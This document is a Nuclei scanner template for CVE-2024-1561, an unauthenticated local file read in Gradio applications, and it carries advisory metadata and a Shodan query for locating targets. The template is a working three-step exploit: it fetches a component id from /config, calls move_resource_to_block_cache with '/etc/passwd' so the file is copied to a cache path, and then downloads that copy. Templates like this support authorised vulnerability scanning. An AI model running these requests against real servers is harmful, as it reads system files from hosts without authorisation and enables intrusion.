id: CVE-2024-1561

info:
  name: Gradio Applications - Local File Read
  author: Diablo
  severity: high
  description: |
    Local file read by calling arbitrary methods of Components class
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read files on the server
  remediation: |
    Update to Gradio 4.13.0
  reference:
    - https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
    - https://github.com/DiabloHTB/CVE-2024-1561
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1561
    - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-1561
    cwe-id: CWE-29
    epss-score: 0.00045
    epss-percentile: 0.14639
  metadata:
    verified: true
    max-request: 3
    shodan-query: html:"__gradio_mode__"
  tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /config HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: first-component
        part: body
        group: 1
        json:
          - '.components[0].id'
        internal: true

  - raw:
      - |
        POST /component_server HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"component_id": "{{first-component}}","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

    extractors:
      - type: regex
        name: tmpath
        regex:
          - \/[a-zA-Z0-9\/]+
        internal: true

  - raw:
      - |
        GET /file={{tmpath}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - 'contains(header, "text/plain")'
        condition: and
# digest: 490a004630440220321f22e77b20acc61afa7b5cbf1f465becdb09178d7c23342a1d1be0a11c843502205a9d96fc3f2429ce7f2566dce2a289b2ff6529266cee50a0d24bd60336562f19:922c64590222798bb761d5b6d8e72950